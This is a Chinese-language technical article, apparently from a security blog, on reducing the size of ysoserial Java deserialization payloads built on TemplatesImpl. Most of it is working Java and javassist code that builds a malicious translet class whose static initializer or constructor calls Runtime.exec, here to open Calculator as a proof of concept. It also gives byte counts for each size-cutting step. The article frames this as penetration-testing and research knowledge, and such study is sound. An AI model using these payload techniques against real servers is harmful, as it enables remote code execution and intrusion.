缩小ysoserial payload体积的几个方法
字数 1224 2025-08-25 22:58:20

缩小ysoserial payload体积的技术方法

概述

本文详细介绍了如何通过多种技术手段缩小ysoserial工具生成的payload体积,主要针对使用TemplatesImpl构造的payload类型。通过优化字节码、字段设置和类结构,可以显著减小payload大小而不影响其功能。

核心优化方法

1. 修改_bytecode字段内容

原实现问题

  • ysoserial默认在_bytecodes数组中包含两个元素:恶意类和空类
  • 实际上只需要恶意类即可满足功能需求

优化方法

// 原代码
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});

// 优化后
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});

效果

  • payload从3562字节缩小到3084字节
  • 减少约478字节

2. 删除_tfactory字段

原理

  • _tfactory字段被transient修饰,不参与序列化
  • 设置该字段对payload大小无影响

优化方法

// 可直接删除此行代码
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

注意

  • 虽然不影响大小,但删除后代码更简洁

3. 修改StubTransletPayload类

原实现问题

  • 原StubTransletPayload类实现了Serializable接口
  • 包含不必要的方法重写(transform方法)
  • 实际上只需要类名和继承关系

优化方法

// 原实现
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
    // 不必要的方法实现
}

// 优化后
public static class StubTransletPayload {}

效果

  • payload从3084字节缩小到2177字节
  • 减少约907字节

4. 使用javassist直接创建类

优化方法

// 原代码使用现有类
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());

// 优化后直接创建
final CtClass clazz = pool.makeClass("StubTransletPayload");

效果

  • payload从2177字节缩小到1912字节
  • 减少约265字节
  • 通过减少constant_pool中的不必要内容实现

最终优化代码示例

private static Object createTemplatesImpl() throws IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, IOException, NoSuchFieldException {
    TemplatesImpl templates = TemplatesImpl.class.newInstance();
    ClassPool classPool = ClassPool.getDefault();
    classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    CtClass clazz = classPool.makeClass(String.valueOf(System.nanoTime()));
    
    // 插入恶意代码
    String string = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");";
    clazz.makeClassInitializer().insertAfter(string);
    
    // 设置父类
    CtClass superC = classPool.get(AbstractTranslet.class.getName());
    clazz.setSuperclass(superC);
    
    // 设置字节码
    final byte[] classBytes = clazz.toBytecode();
    Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes");
    bcField.setAccessible(true);
    bcField.set(templates, new byte[][] {classBytes});
    
    // 设置名称字段
    Field nameField = TemplatesImpl.class.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templates, "a");
    
    clazz.writeFile();
    return templates;
}

额外优化技巧

  1. 更短的类名

    • 将类名设置为"1"等单字符可进一步减小体积
  2. 构造函数优化

    • 使用构造函数而非静态代码块:
    CtConstructor ctConstructor = new CtConstructor(new CtClass[] {}, clazz);
    ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");");
    clazz.addConstructor(ctConstructor);
    
  3. 修改现有类的构造函数

    CtConstructor ctConstructor = clazz.getDeclaredConstructors()[0];
    clazz.removeConstructor(ctConstructor);
    CtConstructor newCtConstructor = new CtConstructor(new CtClass[] {}, clazz);
    newCtConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");");
    clazz.addConstructor(newCtConstructor);
    

    或直接修改:

    CtConstructor ctConstructor = clazz.getDeclaredConstructors()[0];
    ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");");
    

优化效果总结

优化步骤 体积变化(字节) 累计减少(字节)
原始payload 3562 -
修改_bytecode字段 3084 478
简化StubTransletPayload 2177 1385
使用javassist直接创建类 1912 265
总优化 1912 1650

通过以上方法,payload体积从原始的3562字节缩减到1912字节,减少了约46.3%的体积。

注意事项

  1. 确保恶意类继承自AbstractTranslet,这是TemplatesImpl执行的必要条件
  2. 修改后的payload功能应与原始payload完全一致
  3. 在实际渗透测试中,体积优化可能不是首要考虑因素,需根据实际情况权衡

这些优化技术虽然在实际攻击中可能不是最关键的因素,但对于理解ysoserial工作原理和Java反序列化机制有重要价值,也为特殊场景下的payload定制提供了技术基础。

缩小ysoserial payload体积的技术方法 概述 本文详细介绍了如何通过多种技术手段缩小ysoserial工具生成的payload体积,主要针对使用TemplatesImpl构造的payload类型。通过优化字节码、字段设置和类结构,可以显著减小payload大小而不影响其功能。 核心优化方法 1. 修改_ bytecode字段内容 原实现问题 : ysoserial默认在 _bytecodes 数组中包含两个元素:恶意类和空类 实际上只需要恶意类即可满足功能需求 优化方法 : 效果 : payload从3562字节缩小到3084字节 减少约478字节 2. 删除_ tfactory字段 原理 : _tfactory 字段被 transient 修饰,不参与序列化 设置该字段对payload大小无影响 优化方法 : 注意 : 虽然不影响大小,但删除后代码更简洁 3. 修改StubTransletPayload类 原实现问题 : 原StubTransletPayload类实现了Serializable接口 包含不必要的方法重写(transform方法) 实际上只需要类名和继承关系 优化方法 : 效果 : payload从3084字节缩小到2177字节 减少约907字节 4. 使用javassist直接创建类 优化方法 : 效果 : payload从2177字节缩小到1912字节 减少约265字节 通过减少constant_ pool中的不必要内容实现 最终优化代码示例 额外优化技巧 更短的类名 : 将类名设置为"1"等单字符可进一步减小体积 构造函数优化 : 使用构造函数而非静态代码块: 修改现有类的构造函数 : 或直接修改: 优化效果总结 | 优化步骤 | 体积变化(字节) | 累计减少(字节) | |---------|--------------|---------------| | 原始payload | 3562 | - | | 修改_ bytecode字段 | 3084 | 478 | | 简化StubTransletPayload | 2177 | 1385 | | 使用javassist直接创建类 | 1912 | 265 | | 总优化 | 1912 | 1650 | 通过以上方法,payload体积从原始的3562字节缩减到1912字节,减少了约46.3%的体积。 注意事项 确保恶意类继承自 AbstractTranslet ,这是TemplatesImpl执行的必要条件 修改后的payload功能应与原始payload完全一致 在实际渗透测试中,体积优化可能不是首要考虑因素,需根据实际情况权衡 这些优化技术虽然在实际攻击中可能不是最关键的因素,但对于理解ysoserial工作原理和Java反序列化机制有重要价值,也为特殊场景下的payload定制提供了技术基础。